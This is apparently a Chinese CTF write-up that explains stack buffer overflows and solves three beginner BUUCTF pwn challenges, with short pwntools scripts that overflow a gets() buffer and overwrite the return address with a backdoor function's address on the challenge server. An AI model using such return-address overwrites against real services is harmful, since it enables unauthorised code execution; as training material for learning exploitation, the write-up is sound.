叠个甲

若出现描述错误,理论错误,或题解错误等欢迎指正

栈溢出原理

栈溢出是指在有限栈空间内存入过大的数据,导致溢出的数据可能会覆盖掉栈空间以外的数据,导致代码执行出错,或泄露受保护的信息等。对于输入时若不进行输入检查,则极易容易造成栈溢出,常见的栈溢出可能发生在gets()read()等输入函数。因此做题时注意这些函数的出现。

实操

题目来源:[buuctf](BUUCTF在线评测 (buuoj.cn))

1.test_your_nc

下载后拖入ida中

1

nc后直接得到shell

2.rip

拖入ida后查看main 发现gets(s,argv) 控制在此处的输入发生栈溢出。

2

检查数组s

3

大小为0XF字节,再加上8个字节的偏移量控制返回,之后在检查后门函数。

4

发现后门函数,只要控制函数在0X40118A处返回即可得到shell

exp:

1
2
3
4
5
6
7
from pwn import*
r=remote('node5.buuoj.cn',27573)

offset=b'a'*(0xF+8)+p64(0x40118A)

r.sendline(offset)
r.interactive()

3.warmup_csaw_2016

老规矩,拖入ida

5

发现gets(v5) 检查v5大小

6

0x40个字节,算上8个控制返回值的偏移量,在检查有无后门函数

7

发现后门函数,控制函数返回到0x400611即可,与上题不同的是,本题跑通直接得到flag

exp:

1
2
3
4
5
6
7
from pwn import*
r=remote('node5.buuoj.cn',26457)

offset=b'a'*(0x40+8)+p64(0x400611)

r.sendline(offset)
r.interactive()

总结

1.找到可能会引发栈溢出的函数

2.计算偏移量

3.找到后门函数地址,以便得到shell or flag

4.控制函数返回到后门函数的位置